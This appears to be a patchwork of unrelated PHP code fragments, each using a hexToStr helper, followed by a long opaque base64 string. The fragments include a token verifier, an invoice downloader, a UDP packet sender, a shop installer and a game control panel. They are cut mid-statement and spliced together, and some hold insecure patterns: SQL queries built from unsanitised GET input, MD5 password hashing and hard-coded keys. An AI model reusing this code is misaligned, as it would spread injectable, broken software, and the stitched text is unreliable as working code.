function decrypt($string, $key) { $result = ''; $string = hexToStr($string); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, $i % strlen($key) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result .= $char; } return $result; }
public static function verifyToken($token) { $tokenString = hexToStr($token); $jsonData = \Think\Crypt\Driver\Base64::decrypt($tokenString, 'easonchan'); $array = json_decode($jsonData, true); if ($array == null) { return false; } $created = $array['created']; $expire = BoxTokenHelper::$expire; $now = time(); if ($created + $expire < $now) { return false; } $info = new TokenInfo($array['userId'], $array['departmentId'], $array['groupId'], $array['created']); $array['created'] = time(); $tokenString = strToHex(\Think\Crypt\Driver\Base64::encrypt(json_encode($array), 'easonchan')); return array('str' => $tokenString, 'info' => $info); }
function handle_document_download($cart_order_id, $url_get, $invoice_number, $typ_pobierz = "pdf") { global $db, $config; $connection_parameters = get_api_connection_parameters("./config.ini"); $nazwaUsera = $connection_parameters['API_LOGIN']; //login do ifirma $klucz_hex = $connection_parameters['API_KEY_FAKTURA']; //klucz wygenerowany w ifirmie $nazwaKlucza = "faktura"; $klucz = hexToStr($klucz_hex); $url_pliku = ''; if (isset($typ_faktury)) { $url_pliku = $url_get . $invoice_number . '.' . $typ_pobierz . '.' . $typ_faktury; } else { $url_pliku = $url_get . $invoice_number . '.' . $typ_pobierz; } $curlHandle = curl_init($url_pliku); $tresc = pobierz_plik($klucz, $url_pliku, $nazwaUsera, $nazwaKlucza, $typ_pobierz, $invoice_number, $curlHandle); $nazwa = $nazwaKlucza . "_" . $nazwaUsera . "_" . $invoice_number . '_' . $typ_faktury . '.' . $typ_pobierz; curl_close($curlHandle); unset($curlHandle); $tresc_decoded = json_decode($tresc, true); if ($typ_pobierz == "json") { return $tresc_decoded; } else { sciagnij_plik($typ, $nazwa, $tresc); } }
array_push($TXdata, $data2[$i]); $length++; } } $TXdata[1] = $length >> 8; //calculate upper byte of length $TXdata[2] = $length & 0xff; //calculate lower byte of length $crc = crc_calc(hexToStr($TXdata)); //calculate crc for thw whole packet array_push($TXdata, $crc >> 8); //add upper byte of crc to packet array_push($TXdata, $crc & 0xff); //add lower byte of crc to packet var_dump($TXdata); $input = hexToStr($TXdata); //var_dump($input); //Send the message to the server if (!socket_sendto($txsock, $input, strlen($input), 0, $server, $txport)) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Could not send data: [{$errorcode}] {$errormsg} \n"); } //Now receive reply from server and print it if (socket_recv($txsock, $reply, 2045, MSG_WAITALL) === FALSE) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Could not receive data: [{$errorcode}] {$errormsg} \n"); } $data = unpack("H*", $reply); //unpack the binary data
echo "Dateirechte wurden gesetzt, die Config Datei wurde bearbeitet<br />"; } if ($_REQUEST["installStep"] == 5) { $useAES = false; importDb($_REQUEST["user"], $_REQUEST["pass"], $_REQUEST["host"], $_REQUEST["name"], dirname(__FILE__) . "/setup/sql/database.sql"); echo "Datenbank wurde initalisiert<br />"; } if ($_REQUEST["installStep"] == 6) { chmod(dirname(__FILE__) . '/.htaccess', 0555); chmod(dirname(__FILE__) . "/config.inc.php", 0555); rrmdir(dirname(__FILE__) . "/setup"); unlink(dirname(__FILE__) . "/" . $_SERVER["PHP_SELF"]); $newPass = md5(microtime()); $newPass = substr($newPass, 0, 7); $salt = substr(md5(microtime()), 12, 10); $hash = md5($newPass . hexToStr($salt)); $link = mysql_connect($_REQUEST["host"], $_REQUEST["user"], $_REQUEST["pass"]); mysql_select_db($_REQUEST["name"], $link); mysql_query('UPDATE oxuser SET OXPASSWORD = "******", OXPASSSALT = "' . $salt . '" WHERE OXID = "oxdefaultadmin"'); mysql_close(); echo "======= Admin Daten =======<br />"; echo "User: admin <br/>"; echo "Passwort: " . $newPass . "<br />"; echo "===========================<br />"; echo "Setup abgeschlossen!<br />"; echo 'OXID wurde installiert, <a href="http://' . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . '" target="_blank">hier klicken</a> um zum Shop zu gelangen<br />'; } if ($_REQUEST["spaceStep"] == 1) { echo "Drohne wird gestartet ...<br />"; echo "Erstelle Dump der remote DB <br />"; }
/* ===================================================== Control Panel Samp-RP v1.7 - by Samp-Rp Kazahstan ----------------------------------------------------- Copyright (c) 2014 by Samp-Rp Kazahstan ===================================================== Данный код защищен авторскими правами ===================================================== Файл: init.php ===================================================== */ if (!defined('SAMPUCPKZ')) { die("Hacking attempt!"); } if ($_REQUEST['do'] == "confirmation") { $_SESSION['serverlist'] = hexToStr($_GET['server']); } else { $_SESSION['serverlist'] = $_POST['serverlist']; } function security($sec) { $sec = stripslashes($sec); $sec = htmlspecialchars($sec); $sec = trim($sec); $sec = mysql_real_escape_string($sec); return $sec; } require_once ENGINE_DIR . '/data/config.php'; require_once ENGINE_DIR . '/data/dbselect.php'; require_once ENGINE_DIR . '/classes/mysql.class.php'; require_once ENGINE_DIR . '/classes/charset.class.php';
if ($emailname == "") { echo "null"; } else { if (!is_email($emailname)) { echo "nosob"; } else { echo "yes"; } } } } } break; case "confirmation": $codeget = $_GET['code1']; $username = hexToStr($_GET['code2']); foreach ($serverlist as $dd => $nn) { if ($dd == $_SESSION['serverlist']) { $getserver[] = $nn; } } $confirmation = $db->query("SELECT * FROM accounts WHERE Name='{$username}' AND pPodarok1='{$codeget}'") or die(mysql_error()); if ($row = $db->fetch_assoc($confirmation)) { $changepasswd = changepasswd($_POST['changepasswd'], $row['Name'], $_POST['password1'], $_POST['password2']); $tpl->load_template('change.tpl'); $tpl->set('{THEME}', THEME); $tpl->set('{headers}', $metatags); $tpl->set('{info_error}', $changepasswd); $tpl->set('{lang_username}', $lang_login['lo_username']); $tpl->set('{username}', $row['Name']); $tpl->set('{lang_email}', $lang_login['lo_email']);
* Created by PhpStorm. * User: xiehaowei * Date: 2016/11/28 * Time: 下午4:27 */ $get_key = '\\/BiXzVErOy2mM\\/1mzK56r8eN\\/7VZJZNELkQzrq75e0k='; $uid = 11198014; $article_id = 1739; $getContent = '8KSPN+eXq3ExuWsCqTZ5BP03zkmti+fND\\/YwLxSNuNX3zlCeb+wR6nBA1kM3ydA2dJKbzgaMAMGhZkVnnal1BFutu1rMyY94u4uMhNf3um8vtoFH8XZctyoH0LOkRAHD1vp4ULPMqCUFHc8wmgVzBQlGrYmoL4xiSRNtF\\/7FjT+NI89b+rrEgxD6h2aiCYuJKDruqek7l2EM35JnAQ4WGxojpaTNdwcVV1gwc\\/36knkNxB5XzWtB5ZCQYacHJKBnUpARAz1jHsYcLLoviKuGOKA33opmeeb+YQ4Dh8tJASW7UiElZIBYH6AqqhOQAFlXVsgXtdqNXoBCXRsbXRUE19C4XvRHXY1STLYA+2AdVkNo6oR+O1yo6FJvSBVdnoxSLpz5m\\/S736G8gwpUKqWDQMLOE6UtoksaNjqJw21UcvbIZDDEJUolYmK2RB76JBKoBRMTI2Fl4YFUBO+Lxg\\/T5J5AJlY5bDU+l\\/\\/2MCqUwEwML856zo4romkWMBeo64eUdlQ93xeAKajN0OJgqH+tpTdCXr6bCDGqVvoLIE400L\\/LI6EI9U317i7ZX3uzQRX8REH\\/0xfIVQY\\/wvhiNG0LMzzK5xbc0bUhIchF1O2ZPiOJChNJF\\/FMFLbUoP\\/rjl8Ct\\/hBYU6AK38z7JTBovin2WkJhNQGkTQAxC3i9DLkhB+8yqhJEBnyJ+VqVVclBLV4\\/K8rkoAs6sf+QCkY5Q8+9UVrx8SyoY2hFqx3w2w1SbkOpOof68PAuUdruqFFMC49zNba0zznZ4LyWZO7Qe4eEPp4KQi8qaEIObn4eDl1jrfTPujKAA6jnQZbgNZb3rkrGQCe+JC0\\/mx1nQ5b+haiDAnqb\\/cJ5JOioWT+reSBTSWo2TLFXIjH5OzSX8xC\\/lYkbquLUhXSZRGbhe5VR9+UBY1izoJfT4tgVAb5MMj24lKtPMXw+wUH2m02wOI4L51fvvoXlOEuMMQWrpkPpjp5QuqtFO6ZqKOlxQcE9DBGfVuOZSILW5ARwGURZ5FQdH3EAG6BLFZmz8SBIINoueiaD8JqTqdDem+Sc4uo8SCyrMbx8c+6nQqIqY+xYys8ouuMuk07ngystv3mjVfTXqdO2gAdluXVHb7i1Ml23zQS3VhdSw8cg5yFvmpKok3BLodjq7Vp2+hMBIT0phqOoQrZhEby9AmINGiijM2zEAIcwgXN9kFfgLBglWupeb62QnH56kyQnpnxt0ZyOhAZR1Vt8IlK+WxOoEg6zQWav6eMsH0JcvrjdDv11x+fDxPQCXz55+ERuRS1cgRUoSBQoetLeXkjY9iD1bK7muSp1pOqjnG\\/xSqk6sHIPIkqrdG8auuvAJ1YZP70vf\\/NVlW\\/f5K4b0Jgzhk4J4QqRIZuw5tLuQsm8G4Ztudgq9z2J41siax98D3XSYVz60Up46eh3hNuIguLvUHWNMFLp0ucDtA4hIljMWDqcRQyl7qKqrrTecKrwQ8h2jOSyh\\/IRrqbdybyWHno70ezFARP5rI2dEB+c92I1VuYysOH9jjwwDRNj6cKd2bEJ0syb\\/oGYkfgfUmKccJJZOpINIURPlhXy88GcV0v5qUtlmUP9Yp45N\\/\\/\\/nnTy7uF6eR1SkTlByh9ZtEDA56GggFIYWrKcVRiM+dw9aK3vQDtcY\\/OF2ISkqs7dctnnJHOMTccDt6Um+YgL85vVdWLSSJpyUwxaOVEyeFrgwOK55K8hyKijbDwXVahuuTI7y\\/XZ2QdfOi4eOothoU63fUTPQjqNCWnvPaX9e7GcqodCPKnniZqOszvc7emgx1IwAaHmKaNYa5ui8j2OfrvdTRCFpPLxF76\\/zos3kKu1ZAhZ7xtIIwMecYpjdKwzFDnli0NbeGbO4jwaitwQCLfIbO4BSgDN1ZhxZ9lRThV88tsOXX2g03G69r71Dz6izFSf4xDkq5yBEiJ93UojrWRtXwSK4eVMebUghfchnhZxXilOnanwLUKPw2tYJ+O2xOQoS72o443j5Kq4AOGTbZ+kSDlgMh3a\\/o\\/P+SjBp6e0iGk\\/pJDLL+hIdDAgTUoEnKWmZFlWDMQBKXv\\/1BvVkN0jrT+CxGX0MyoA5UdmMH0OcY7XwflRnPFohOGGK9IEXvJokBnloqvdwh0YIxEzbcNJYSfiwMxGSst0ryVgy7BCnwgptZWmUUQhC9ObRY5nucXsCWLTUNVtlVMSBCbV\\/TXjrpwDmefk8cqagmQkS1Y04tBljgOOn24t9T1Azx7QnJYGV+Dtwi7NrVtr0ypuFfpJhUf2oFeppfMgJdunJ3jomkRhoGlNmlK4rCn5VkNM+Eb\\/nAY5\\/mL8y+zmcONmu\\/t36qwy\\/Ga9UdigqvnOQkVlrP+7qBMTL44L9hmCRj\\/PlQjmbj0hH6MxdC6uhlvRJ2S37Fy2fLJMMUOkRz4GGxFsJhgm7XIO9sJRAxt+AKNL5q3z44aBhzix1w8o+\\/Eh2Lu1anIC6g0x8UhyrGzjwrrgzXlSM42IoXFaWD26\\/Dl9Hk9Io3fA8jQeEHyEPXVgSCiP2ru8\\/vTMr8yymfZCd825k46czG7atTP2GMysrIfMWZRa8WTbncwtsdQYQnC6WTA7tkFYSWUenQgRLZYm9KCJwp8H0sOSWxY0IjP+4OWnFBdtkXutHYLXIiJJiHkI4EQkfIMFos1a5QamPmICO6++w4M4ubBBgAzRGndKx0sjGb0nNzcjy1ck4c3JiUw\\/vrlDLkLNnB0laHpO8LFR51bdB+eOxmFI6Wx+2+2vPOnk4+rFhpyJRwTAe6zl2LU++GN2Rrz24VH97hpoglRU0qZYNu\\/SEoAnCBemh8GGbJrhflQ2+x5nurqT4Uyyfw+GLto1\\/xCsrchKHlTtXoU6tB7gsQR5H4WJloG\\/JSkAtpatiJs42T8FUpaqj17ISj6bsrcWBJsTS8H0iBresP9iSJRsFv6FQTnEeBSKInW7YWb\\/pZTd+eQ7ziwdAvgOVtDK+spcHozJourF9uXUkf3USVNNv6dEH2eQHed0V7Gs1UqJcGRnj2nPjvWl\\/Q76+qc5tbofu7rpAoKNdfWqM9xCZqtRbcMPhShy4gu8RESR6m2FEQDQLnIGMvnXvXlnicKINuc1WpWL\\/jFHYtluc3iucp4oMDex16e6Hw\\/\\/I7gCpksGqPY+yI48IaB7WJU6WbRg+Sp\\/s6tNAl0+fWDUr7ILoaKWeJ+DphSo2skJcDezdO\\/lhWyadI4GLZPtzRw1pE6H7BXYtupEdGE55Sy+L0UPW5eVf647pwrO+kRTkb8WCt6qbT4vFcx+ju+QJNkZH+nBgLc3vUYcLj+EQbs9s7XSP2Lsrwtecfe4wDJqiJPtZC6j3G1JczPJssy05OmsJvKxg6LTdYD33wejO8e98mN+Hxi6wCeKAZc9o8rC6dIPfwfuJDnLAL1HqhxaPy8q\\/2LPZ657yW6\\/xBT8nFrnvd6SNNqZnR94STg+5uEyVIxglPFq4T9daQvblhlr9F0fH1WyfYIpP5qeNdJdmHYoCOaAdpdoquz+Uk0DG6tIA2Ki8WdOpCG+jHF0nIhdlpOTb7qaIEKYRIv623XcKKuHo2uBa1njIBW8NB9jGXt9G9+pegQVbJkeEbJzyIKaaT08dyzP36kbWhDze36VLFEUIxIU7eBv6TNGx4ntgB5tSyei9I9stRa1LU6yjvj1wENfkjw74ZgXpUOa2\\/sZPT6jPLlM3UjS2Lvh12q6u9wgAGhS6qjh4UX2EcRKZ7fcDIdGFV+U8s\\/ROkF0smFlBxPlKDJFoO15FXk4T6GOErPXLbtG8NYBKy\\/zq\\/W8WYIYF7RU1p4vzvW5J1yp26Uw8XDr3nkJ55n\\/yJkNcIkNOGovKXak88sX7HpG2Ut96sNFHCHfYmHNY9s2zfXxNjICMOFpZvr1dqV12IRZm9L6bKUmu2uGIqPjLZo+PyITOufJYd0e1fkSG0s8my5Ae8c5UV8MVpj9SafrG8bsirspGTkLvWRVLwedVNvKnVUsqE8igFaPDHSIvkx6C+UVR2es8ug0QPH3mbqvEYD9+3jgf0j80btLJTpDrDuTN4gFFA1IAnBxwLLoj2K5JKR5kvGIwAACr9fCNUzpVO79q4FCXb6sEr2kMN2VbMRYjvQgmFUFMdQ\\/xUqDJO5ZSstWqk3g16ti9nR6ZgfHkPmtSrQjHFFNCw36uJi4PKH3q4fPsIpHXQma8VOujGSCmM\\/p8EPBFNbr6XSDW5z2jKDHNj62JbmqKDq8RL5w\\/dVi2w7gKWSupOjb6ksG\\/fDmEOdpoqPrLJNpz\\/IFET30wWfBur9CjyOtnDAp+QJk+g4x\\/mi0I6w1iS+TEJxi+aLgf7356Zm79m7quAsM9vt2f6ytgSopYWskwijHNxpjHPHx3edypWHTbDszBlTY7NMxngkQpgC6JvIIA8KA1e1EznUd0NkC2cjubkGyjAYDwUTh8TnhYw5I5TTNiea0tJ28fQzvc\\/C4t0tsxHVHK+yfqxsu9sclZ1g7MEKBGJxvNQ\\/ME9NMWQ01rlbMPQlVnl1WFudFCaXWkhrw41fFa2+U+3SIMr+QH3SQfp+L2U5bPbXrKwpp1bznQApOpOnYpjoKdpdLxpOeo1E5zU8xZ\\/p+Vg0Bx0OYSg+9DKLvF\\/+8tmRmFp9UV0SBFh4XtTiiaGwBwKjlSYYM0VD5iihPnW6fDmvhtaOZ\\/9TVdkmjpIHYu1RyWUN1ZQBE3E9N4S4htiuxQ9ZrN0GvwVnF3ZI5GfI7ztB8B6LFKozREmiKJze7974p7IYPLp7eW2m6P\\/0uRD4rIcxjtcWQhNanE09CooECvra9x1g8NJu9nWfXlbl+fyNkxBZ8ijnXA8tG4L02h084M76xaz\\/nTy91uBKqat3HunrqhYObAf0lS6ZgsMuaxmvGtpE3hK4SOl\\/2C\\/ODE1b8gH7ES61elIF9IJ41yQ5KR4Xf\\/3M\\/sBMVO9TF8MaeRmq8EJjfJiY2mK34gBB6r7tmwyWrgibDBucbaf6jZReM3Fq0QCsHiQqHpQaIqtW+DEvi5oJrFMh05OgKLNbbcmqA\\/v2btTHLr73GRWDQJNDURFPIBPfwKLlHs3WJiqmgj9QAHunNax8ZotNYoRREVQHVCyJ8BgSxx9CMgjRCQjHc6xNDmo38Dj4QFP+fw6fYXGqrr1RhhwqRjNcMBjyE5baC9HaqMZb80zr9zUjZVuOmurLQO44u6TxH1h\\/cK73bgXynTNf5x9D4c5kU+qG5lhkKAhmrUIY5v8LrMMWLffbxfpYW05Mdp9ERtxHH9qz6mHrtuyLREnuQ6FFKC9T3V9fKgTIeYpoMSbbZ5+IWinm\\/z1S04Zi3t5rzKdLGp9qXq6o3OMyJ+T56AN3UNAKrh2\\/+wAk0n4Pc9J59vgoJqnpZKbIEF\\/+ULI+rjKLs+ylRVM0Qt7zGHtgdERyoK+T\\/FVaU8MiZJaYB2rsfEzdtedpj3aL\\/lx0sDKiZcV5MsrJMb5hVSQtw7xy3aEeDlIOAo4VXzYc14czxu2qDeUC\\/6GEBB7RvOlMVduIZlXHndIGqe8ta28gV3+X93K5\\/SYyDUzIEfFEDbnY\\/MbwHQ3Xa+S6Ak87fx4JaxTJYk\\/zyuwVqQBZXcrgLTPSk6iFJf6\\/UH3s6R+QyjAZp+CEz9YlI6HmSaCwCj8n1HeKcPYT9wk3K0UnRDBQsHaRyEihdFgKJOaBcBIOU3mBbGPIzJiTM9q7\\/aYwkvUQJ5f7iV4ZnLtDBUZrVRRGgUGw5f2tJxxwe7EZ4NxNrJrdEMyIhyu6Z\\/DBkQkQXi9zSCv3FEd71yv5MV7dLtfh2eeYwiWOiaqS6u9JofNrqdxbBaW45L62Mz\\/S5Cw+s6wGWm5sekwtE\\/776iiPX4t3K0Bsz8+PE\\/naM3dKEPRFs\\/rYwrTuTF99wWMSlL2wMsbHlD4VuBHuUcjpGetnhtEkfD3v\\/cRX79HXYbH3QJP+K3XbPAfd0wN7Rpq69zLitSQ\\/gqEIT\\/OIfXJXMAqoA9ydeQJ2q+jtCaVefYUGgW9ux6RKjH6XNh23Cq6T5Z0I7hR+a7F3U4H+RLc+nnpUSGpYfSLnJ0lsGQVDlHrEZR62zx5D2pzChs9mNiU6UOuvGLWfVsIfcrkR4od4z\\/f31DmAD3G1f2Nr2UmgPupW9EphtXuRCwECz\\/SMAZYB\\/AgfvwmwFVmUNv3rltiJguhdJnoRZHrQJgZuLi77o0+3OnKRfnE3ZggqW+UnASEdooufidFoITLMQqBVaaZXVTTpVrUcCttjs1K3q3k0mNMFrXacfDw+geVDVUrQm3uwucJ5Pl5QVH86T4nSwsck0yKv6NwP1vwk7JRkK35DBf1GsbbCe1HM+5C7L2wjci5uAnz6XuwWVPOW9lVJef\\/0LOkrKdUTBg7cFB8cYFFvJwlfUyuBx5MA7QwShF83F1CFJs2Nh7FqSheGaKPVBAkJDE7MVRxiFCwT7P+FvqO3lZXicp1zP5FOvT0b39avyQzCpZvcJiKtkyC8\\/aMUqfr0vTpNkDu390\\/yb\\/fP91FSCLe6UBmjxiEHemIvYR9n2GrTPuxTtUW+gloEOisJYdJ0YdYHSgStBZQ0tTb22fU6nl\\/yq7znT5ybP4DY1\\/+A0cNOQscazwaIEueLDiwOuz15SCEuxErX++6ozHuEOLurlL36OYyfsAUHP+ePNuHgJZnDK\\/X2YP2Xlj882Skj4UYgLPy2NVbfBdN1PXqwf7TU7zpCGxnSQnFhZEK3yA8pwBlZRkjPrPsxqi0tI4KOr0rSxpbMRKkZLXAHvMfL+4PsknebcdxItaZdSsKOyjAZuLWEfBCeqyu1GxjkEVpJjJrdfEwkGNxZTz0BpuXlvMkuPTA379pwWL8eAwJRsmkyK0cpVsXtO0bENAgP3Rxtjh651QpNuY86C6y9k686IpjvWIl8WxjwegH\\/aodiKLbEGpsYzueDQkT+AfDZAIrF8Ir39isfTPeuhu4PLpsg0uh\\/OD3X9loOyvmYlIHJbZTKUzkgn4RBHlgM\\/XqOfyN2qiGVpwtNP+u2yxMeV99dKyOZ0l0Iyebj2FYp6aT8ltcUrjHJ0i\\/l3E4sgOUcx2tltifHFqB\\/kNwZobO+kHINtuo40sxhI74LRbFVsuWFtFy06s5mUarj93yvRnY0cKyavzy+4IgqgSO5oYrMVqoiDa+fdpy2PebzBedIDwU2DchLuCD3snTyqKnmoskzVh7fHaTK83WGcAja4nKHy1eV91erjRs6nRCb8xl+t0R9Ht2c49ImJZ8g72KwO17WSUyJDNgmkhxtz556d4J7VP43KJdqmHNkMEsUzexx2X7kyadapHaSQBQMCHyFjkSb4k9bOKHSIq1vJwjZG5ZY20s0bqGXRUa93EASIr0OQAl3yM9eolPrPQ5gWbFhBoFURaF98iVeWzMuZkKyOvljaRsxgGO6WTi0z6WV4RCgclFaGdNTOPvqSnMX6DAz4d\\/U1R7kD3pcHMw44n9\\/ndgq+X6G+X0ugR5ja2hAwuzpoERbrgn6E\\/3PaLEJuF\\/Lx87cSXBcN8AkFPBPXOC2g\\/VTJOKWaIlRLWUdAlb9Wvbg5HRUpAEf9rTAH1Si0mNlVDtwI8jJOgJZJc3CqeS3VzsF542sJe1O96nmlkh6hP+fJtGxm9okMOuv3gIo0vozk3WaqAqUl9cdFI\\/OGSiFapMTjIHqeZM4zd6Ezrb1Lx6j7lfNIaR+8pnDn6fzJLca7Orh9gLd23oeUSOKIHO7RtGQrUCTWVYpbtBf76n00g+Hok8rGVUEKArO8+\\/V8ik1O9M2fpuI74cKKV09PTFMJdP\\/qC6O44wNef3jMrT0wXGrLR9ge3Flphqjfp03CKDRceI+mXpddvby8BPCf8VLf+7YqLep4GhvEAK8kWTjDqWYmtbL4sLclpLrNZWovLTu0k6xw3m05GQfz1AQ36BhSJxuwvNU2eUQDd\\/JA0O\\/y6X6hl9mBpgos7zw07LfQPiBKBIMIuywuho6rUJsS+OYXtkfzGoClr2zydeTMHoZPKTGFnLJ3qoBIpp77u3bpvZeZEEa2FCujRx4v2PvmokAeiUN+0zprHHEzi8NMkPR3mfG4YpFGnocnGdmX0hdkKKKa8h+H6h7MO90TTO7dzPbUakH1j5qOV1Oxb4AK0CaoGDev8MwbjSu4VvyzQdYRxmrfFIj75eACzzegWrekrWOdiO8Gj3H0SxuAi4elzjyp6DeNYkHggRFJTlh4S1bntASpT2AnEllgXjM+wNAgLU1r2keKdZQhPzHcgKemRNoGsIOmf4DL\\/1ic1x9RXABKKCGbqvcc8X\\/Ohp8NhOGYV0gT0Yz9uMuK4sFk8qjyxT64AFLEOrPpNOffaV7CR1I8ErbB1aTGm20ermeK7f+K3RmvGbbq4vRzlEM\\/0Zo\\/azoZvoHme0cogHIiAdvBrSzJIS1zk1MmoowcFahNkVMZdssJsTXZUwJUab+JV+nzMeEgL9zpmf611hYlhodXiXKSUExwcA8Z+sysYEat9F76NWIkD\\/bMXzmZwbE3mxwwEodC2Do8HW4KFqBfF\\/SUOjt5eqlhw6VzHfnVD68YjgATfcdw3w9PDbKlJu\\/Qe0llPolRwki8rnGKUJRCtBYp\\/aUjxxv0OWKLWqMcprJWYvr6CPuzzXTlsqM+WtENBZyzPnG8a2CdNYU2IZ\\/Wn+Jv6hqxcOaYfyzg1wwEe2V3EnsDlpXhAqfnOVmGxvS109O0ioFeHywlVBNuxMl\\/gbg9fpfw5Ib+K+ZaI9f7LN7236qmBPe1w4rkvlhU1yGhkOOP7OaSp9v6wZZDM7yjhvMWH2X4HUN7ZwgUJBin\\/MK8QALoH\\/nbpuaBea+MYnvZJxY7kMIWHvDx0vAeoVY1O+C6LbCbFjsyw6bXz1XB5oUj+xrSei2uO4nx3qFq2hD2uKT8FNSlxeH+pu3JGRVWDTgv++7Q\\/gSpYgmJEhgSDnoGT8z7oDO71nlijCKxhe+ztyIvY95TWQca9ShafPFNcrCeXWIOmwgoLyxqvsTCXmUSE2an2E13LQcSref1S1U8qVAOJGUuB8SpdLHI\\/xHogzplhvLF1pTuMNZqNR1LReSUzgddFmIfLZSc9Ya+C4Hzx8eaQzpO9hBldMxtbyWHKzvtpjXz5aEQz1S3ZPaFjSA02Z2k69yQb0utFiUGQxE3CUSNaeMVld+D9mkrjhujEYpv5P8QpsfjqvJuQiugy34cO+xA86GxmZSu0txB4\\/ngbMvHsr7nejocx8h0Gp+MHRg6BclPk7C8LvLeeBgieObuW01HbSSd\\/ePF0Q+CWBL1Z3djX\\/IpgkFO\\/qbJ20DQM7SgeIhz0ODPcSCsDVxNA7bZqT6IHIhd+J0BNf9qOEwf+L7xCatVvRe8COuUFdzj+ZIjX7BpCdH0qjkCjFLVIo6CqPYgDG+pmJcxN4q\\/iWpSej4UHq4+Z+hk84iZl0eh+YI8S9Obhf32WGB9znTzBEO6xwO+5KS6TNKG5E34cz9a3RPWN\\/Nsr32oLpdz7DzyQ7\\/KuN2h\\/19Lj6WDCo8OJIZCSzZ\\/ZhXpiAnvMtX++P3mUOwndntGmtqNrmL4h5M+NEDZecO5u62G261xGJzv0LEXkPbFaelTt8gR5aOE4+aon8225rUY1eOqEy+ZavULqy\\/7Q3ZB1HUlpkcHTN+khleXOClAVNrpfQjrAhMjej\\/U6RJjNQoqS7GruBLNwnN7eDsyU+pPOrRhLX58mZxkRkF7LqPZ3Vz6XBdc746Zt0J5X5c6PHTgZWDuPx4QOtpt9uQnpPh7qecNjHXTc0PoZ7q65+eQ6T\\/+G6m1OHeUN94iHH0qZE8nDhbDp4HmXlpL+WkdPV89F8tipsMld2DSbh6v3dKL2EMKJLJ8mATiVFdY77KiVm5QRfeK3Eu3axYEgqO1sPeMutG7YC0Qt2GTcmCZgLtlIM50GAszioBpjq5TBCWmfIb816kpF74eBUGRxierBj8fO\\/aFm3FgPVH9C7F\\/SJQ2BU9qeHSF541BSF8pEGzRIBXlFWARDTD1bHOrA9tWHyqbZiCmzti\\/KN5pd3skBKlWIUGLyQflFqZX8YJI4ZcmMldrOnu0t4qiKEXz1fDKBGhjb0jahoZTuP5PsjL9OFENASy9NCnol78FJf1dzamYvy093WKO\\/HrO1FKSDx2LU36hCpU9+\\/UnUljXeMx9CsXOJJ5C4RICoYcJ5BnLMWCaCLXCr13J\\/KzIHkKDcNiFTjBWF19WaGr6HOh6ZC37nnxKImfRnrw29cgjWsZephGjhjyD0mX+hJ58NUBTqYQ\\/5lmT0F3Dr5680k2hsSjkVW4LWpQUoMSxBpmpbcQY+DazF01yrzA514416\\/TKayh1WQiaMmkNgjbP4aHenQA2wMURLOGSqFPLkRKjqckRMMCBkbWBIL2+lqmz1A7VD3LPwq8DuTZAcOuYm8Rjt6YO+xmM32ZOTcAN3vu+HW2ut6aWfTlE7gaohfDmwXnEmenS2o+H7d4w8mnETMx++PLIlGj4eI8BgcdW11P50HKwn4PFXrtkFv8F4alRfs14qP83lmVbfwXSkPGyg+bZg5sXj6uoLud\\/ReX9qcjqn5GOJszikCobG23UQ3ONZDDg0a8IMO\\/MdVg1oGZ4e0wnOACD9IRN3dNweVe+OGTe6Eezj9YToHXoB7wci+bhDtUNyqQGyyyZD4J8PTERtCLzWaBwPj7XRYxYCrP7ijb+S45OHcDbOtC6bD\\/jV\\/4F4hpMZrDZxlHbDmTkeIU2Ctvbg02vMh93Br7aSG4MXAj\\/X2o9YRXnps\\/ig\\/PG0iGrPU6ij7sEjQ978IioqlrWJeWT5zxJS6QnXdFaL5lNyKL0tSuznWu615ve5IHp+oUtu\\/3Ldqb7BqWXB5jFJ0GDjmApaHhX6U97vbrSSf\\/ajgzs015eYEW\\/\\/A\\/rXT4Tg36aILTovO1+sxNP30ttks7YoBsR5c+4hMJBr0exBxxA0pJBR62Xl8XJzE2NqBmNCciNPP4OvkL\\/jmIwHUgpCu9HB1EoiqErUbDFHie7MwYYDg8XzGfkSSZ8sR76wYMacTmrFY8JfDqiKtLM0hkd7ZADLEaEbd9X090w2pmBRKRHbhkCexPabbsY201r1JqAw3I\\/gCc\\/r+mrvnYKPKc\\/fSKh5079peFh4yCcviL2h+RfFt8cklFzJN562a4gPVGHg4o1JpDxDtHnGTO\\/BQHuGvpcuuk614uxLeODg4rh1YMLPcQyl7wYyw8j1Sa9GW+iIXbGpxX0kunvNBLF7n\\/+kDijXRG0lX7sBEwInZzWK0fPQhn4zuFzixgBQPWinbgr6F6yj926ADY4lt272sfY+8PviGqGMJOQqckBWDz1YbQP55ikUMffveh6XgZJaIc5zVFQCU1JochSvOUATUqBDtjl0bES9tnQINma35Oq96SvZCvTv2zQq4Z9ZqUQIPyZIDB6psf6EJOfAY5c2Zw9o9qFO9MNl1x6w6fCHAIuIiOutl0JtZ1UQGI\\/LYgA0rtXGv1SiwmP\\/x9L4xW799wiLQsXHh3jtnrERDaXdGJzZlZNnIW3C5XzmMwz18ZqFgA5e8OAJHWHb+MJUDpO5ovI0+jM7+R0y64Fhhm6HjAXWNJjj8ylE6xbIYv6GUHXgoDsiL2DxRwjEtWcRfrPn+bPURrzVqUphxUb5drpuuQeVmbGxr2JrXcGcbRwxtSixEV1dtQmSjMLVNMg4GeVd1U4W3N1KT5AdQCO8x00vqp+s\\/6OaqxUU\\/8uRtuLamqs2RAoncpAiXCrRwfu5tV5t7hFVJQAEzMovgp+ZLep8wEEY0tx\\/VQWwaGfVKrpmpHt68HU9pQhDKfKpxNi8F6GiS\\/T5XUwo1SH65\\/nkY\\/cZKznvU4Nowbsdh5kJ\\/udwyWbzuZA5fFuymUy2yP2cQulD+3BqgLyoWiDBDQf1vQqYUQUlrHUURG3IVp\\/JeWYd3BA\\/Whoy\\/BoaWtGsyIXpuyISYepSEjFHw56jDKeSQqrBpI92HgqOb\\/rNbGSwSKMgaZCECHYXSlQhQJONubk4BQlehlowgdq4ihhhfBivQx0RheFJi5pxJ2AFk8sz\\/orx5vf4jp85SjQGO72AuSgqcSJsZ\\/vZUuxCgmFQtNPIiIHrwvU2lucjq9OlcaSIlyvyJDIK8fysH4YUY1NjkbRhxUsfjRFeRtk3fvfU1pBn9wRW3Bi9tDWlBC4DngAoHVb+b4ndioOJjET8405F6Sawajqsi6N86SIVRSPBIOQ\\/oD8uC\\/oT2cl8EsmeGrZtxnsD